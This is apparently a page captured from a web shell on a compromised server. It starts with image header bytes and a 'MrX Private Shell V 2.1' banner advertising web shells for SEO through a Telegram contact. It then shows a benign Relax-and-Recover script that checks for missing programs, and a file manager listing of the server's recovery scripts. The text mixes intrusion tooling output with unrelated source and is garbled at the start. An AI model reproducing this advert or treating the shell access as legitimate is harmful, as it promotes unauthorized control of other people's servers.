����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# 950_check_missing_programs.sh
#
# Check that all required programs exist in the currently running system.
# During "rear mkrescue/mkbackup" the currently running system is the original system
# but during "rear recover" the currently running system is the recovery system.
# Do this check during the 'init' stage because the 'init' stage is always run
# (the 'init' stage is run unconditioned by the usr/sbin/rear main script).
# During "rear mkrescue/mkbackup" the 'prep' and 'layout/save' and 'rescue' stages run after the 'init' stage
# and there additional required programs are added to the REQUIRED_PROGS array
# (e.g. see rescue/GNU/Linux/310_network_devices.sh)
# Therefore this check script is additionally run at the end of the 'build' stage
# (via the symbolic link build/default/950_check_missing_programs.sh -> init/default/950_check_missing_programs.sh)
# cf. https://github.com/rear/rear/issues/892
local prog
local missing_progs=()
# Check for required binaries:
for prog in "${REQUIRED_PROGS[@]}" ; do
# When required programs are specified with absolute path like
# REQUIRED_PROGS+=( /special/path/myprogam )
# the test "has_binary /special/path/myprogam" works during "rear mkrescue/mkbackup"
# but that program appears in the ReaR recovery system as /bin/myprogram
# so "has_binary /special/path/myprogam" fails inside the recovery system
# which would let "rear recover" falsely error out here
# cf. https://github.com/rear/rear/issues/2206
# so we also test "has_binary myprogam" which works inside the recovery system:
has_binary "$prog" || has_binary "$( basename "$prog" )" || missing_progs+=( "$prog" )
done
# Have all array members as a single word like "${arr[*]}" because it should detect
# when there is any non-empty array member (not necessarily the first one):
contains_visible_char "${missing_progs[*]}" && Error "Cannot find required programs: ${missing_progs[@]}"
# Finish successfully:
return 0
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| 490_fix_broken_links.sh | File | 5.81 KB | 0644 |
|
| 500_ssh_setup.sh | File | 8.36 KB | 0644 |
|
| 501_check_ssh_keys.sh | File | 6.18 KB | 0644 |
|
| 502_include_mdadm_conf.sh | File | 345 B | 0644 |
|
| 503_store_tty_root_password.sh | File | 286 B | 0644 |
|
| 950_check_missing_programs.sh | File | 1.93 KB | 0644 |
|
| 960_remove_encryption_keys.sh | File | 3.22 KB | 0644 |
|
| 970_add_rear_release.sh | File | 134 B | 0644 |
|
| 975_update_os_conf.sh | File | 794 B | 0644 |
|
| 990_verify_rootfs.sh | File | 20.79 KB | 0644 |
|
| 995_md5sums_rootfs.sh | File | 3.34 KB | 0644 |
|